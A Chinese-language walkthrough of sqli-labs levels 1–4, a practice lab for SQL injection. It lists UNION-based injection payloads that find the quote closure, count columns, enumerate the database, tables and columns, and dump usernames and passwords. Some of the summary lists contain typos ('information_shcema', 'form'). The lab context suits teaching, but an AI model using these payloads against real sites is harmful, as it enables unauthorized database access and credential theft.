一、第1-2关:基于错误的字符串/数字型注入
1.?id=1 order by 4 --+
2.?id=-1 union select 1,2,3 --+
3.?id=-1 union select 1,database(),3 --+
4.?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
5.?id=-1 union select 1,group_concat(column_name),3 from information_shcema.columns where table_schema=database() and table_name='users' --+
6.?id=-1 union select 1,group_concat(concat_ws(0x23,username,password)),3 form users --+

第一关在之前学习:联合查询,以及示例因此从第二关开始记录。
其实第一关和第二关差别不大:闭合符合的差别。

判断注入点
sqli-labs闯关1-4总结_字符串
sqli-labs闯关1-4总结_表名_02

sqli-labs闯关1-4总结_字符串_03
可以判断为数字型注入
确定属性列数目
使用?id=1 order by 数字 --+不断尝试数字最大值
sqli-labs闯关1-4总结_字符串_04
可以看到列数最大为三

确定回显属性

?id=-1 union select 1,2,3 --+

sqli-labs闯关1-4总结_表名_05
回显属性为2,3

查找数据库
sqli-labs闯关1-4总结_字段_06
看到数据库名:security

?id=-1 union select 1,database(),3 --+

查看表名

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

sqli-labs闯关1-4总结_sql_07
获取列名

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+

sqli-labs闯关1-4总结_字段_08
获取字段信息

?id=-1 union select 1,group_concat(concat_ws(0x23,username,password)),3 from users --+

sqli-labs闯关1-4总结_数据库_09

二、第三关
1.?id=1 ') order by 4 --+
2.?id=-1 ') union select 1,2,3 --+
3.?id=-1 ') union select 1,database(),3 --+
4.?id=-1 ') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
5.?id=-1 ') union select 1,group_concat(column_name),3 from information_shcema.columns where table_schema=database() and table_name='users' --+
6.?id=-1 ') union select 1,group_concat(concat_ws(0x23,username,password)),3 form users --+

本题与之前的题目的区别就在于闭合符号的不同这里使用:')来进行闭合。题目思路大概都差不多着重讲解一下起初如何判断
sqli-labs闯关1-4总结_表名_10
sqli-labs闯关1-4总结_sql_11
可以看到无论是 and 1=1 --+还是and 1=2 --+回显正常

sqli-labs闯关1-4总结_字符串_12
但是当输入?id=1 ' --+则出现异常因此可以判断为字符类注入
?id=1 ') --+sqli-labs闯关1-4总结_sql_13
页面正常这说明:是以 (’’)的方式闭合字符串的
接下来便与1-2关无大差异,我们来看一下如何解题

确定属性列数目

?id=1') order by 4 --+

sqli-labs闯关1-4总结_sql_14
判断列数为3

确定回显属性

?id=-1') union select 1,2,3 --+

sqli-labs闯关1-4总结_表名_15
获取库名

?id=-1') union select 1,database(),3 --+

sqli-labs闯关1-4总结_表名_16
获取表名

?id=-1 ') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

sqli-labs闯关1-4总结_表名_17
获取列名

?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+

sqli-labs闯关1-4总结_字段_18
获取字段信息

?id=-1' )union select 1,group_concat(concat_ws(0x23,username,password)),3 from users --+

sqli-labs闯关1-4总结_字符串_19

三、第四关
1.?id=1 ") order by 4 --+
2.?id=-1 ") union select 1,2,3 --+
3.?id=-1 ") union select 1,database(),3 --+
4.?id=-1 ") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
5.?id=-1 ") union select 1,group_concat(column_name),3 from information_shcema.columns where table_schema=database() and table_name='users' --+
6.?id=-1 ") union select 1,group_concat(concat_ws(0x23,username,password)),3 form users --+

第四关与第三关的区别就在于注入的字符类型在这里是:("")进行闭合,接下来就开始吧。
判断注入点
大体上与第三关无差,当发现注入类型不是整型注入,进行字符类型判断
当输入?id=1" --+时会发现出现错误sqli-labs闯关1-4总结_数据库_20
因此使用:?id=1 ")--+进行闭合
sqli-labs闯关1-4总结_数据库_21
显示正常,接下来开始操作

确定属性列数目

?id=1') order by 4 --+

sqli-labs闯关1-4总结_字段_22
列数为3

确定回显属性

?id=-1 ") union select 1,2,3  --+

sqli-labs闯关1-4总结_sql_23
获取库名

?id=-1 ") union select 1,database(),3 --+

sqli-labs闯关1-4总结_表名_24
库名为:security

获取表名

?id=-1 ") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

sqli-labs闯关1-4总结_数据库_25

获取列名

?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+

sqli-labs闯关1-4总结_sql_26
获取字段信息

?id=-1 ") union select 1,group_concat(concat_ws(0x23,username,password)),3 from users --+

sqli-labs闯关1-4总结_数据库_27